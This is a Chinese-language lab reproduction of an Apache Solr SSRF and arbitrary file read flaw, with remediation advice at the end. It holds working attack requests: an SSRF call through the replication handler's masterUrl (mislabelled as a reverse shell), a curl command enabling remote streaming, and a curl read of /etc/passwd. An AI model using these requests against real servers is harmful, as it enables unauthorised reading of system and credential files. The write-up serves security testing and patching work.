漏洞描述:
Apache Solr是美国阿帕奇(Apache)基金会的一款基于Lucene(一款全文搜索引擎)的搜索服务器,使用Java语言开发,主要基于http和Apache Lucene实现的,该产品支持层面搜索、垂直搜索、高亮显示搜索结果等。
Apache Solr 8.8.2之前版本存在安全漏洞,在ApacheSolr未开启认证的情况下,攻击者可直接构造特定请求开启特定配置,并最终造成SSRF或任意文件读取。
复现过程:
1.访问http://ip:port/solr,出现如下页面,开始实验
2.点击左侧Core Admin,创建一个core
3.若显示报错,则进入容器复制/opt/solr-8.2.0/server/solr/configsets/_default/conf到/var/solr/data/new_core/
4.进入容器
docker exec -it 容器id /bin/bash
5.复制/opt/solr-8.2.0/server/solr/configsets/_default/conf到/var/solr/data/new_core/
cp -r /opt/solr-8.2.0/server/solr/configsets/_default/conf /var/solr/data/new_core/
6.再次点击Add Core即可创建成功
7.构造恶意payload,成功获取到了数据库名字
http://ip:port/solr/admin/cores?indexInfo=false&wt=json
8.本地监听
9.反弹shell
http://ip:port/solr/new_core/replication?command=fetchindex&masterUrl=http://ip:port
10.监听成功
11.通过Solr提供的API可以开启远程开启文件流读取
curl -d '{ "set-property" : {"requestDispatcher.requestParsers.enableRemoteStreaming":true}}' http://192.168.0.253:32776/solr/new_core/config -H 'Content-type:application/json'
12.读取/etc/passwd
curl "http://192.168.0.253:32778/solr/new_core/debug/dump?param=ContentStreams" -F "stream.url=file:///etc/passwd"
借此漏洞,可以访问攻击者想要的敏感数据,包括配置文件、日志、源代码等信息,更加方便攻击者对网站进行渗透。
修复建议:
- 将Solr升级到8.8.2及以上的版本。
- 打上 [SOLR-15217] use shardsWhitelist in ReplicationHandler - ASF JIRA中的补丁。
- 限制请求协议和用户提交的url,应用防火墙对其进行检测 。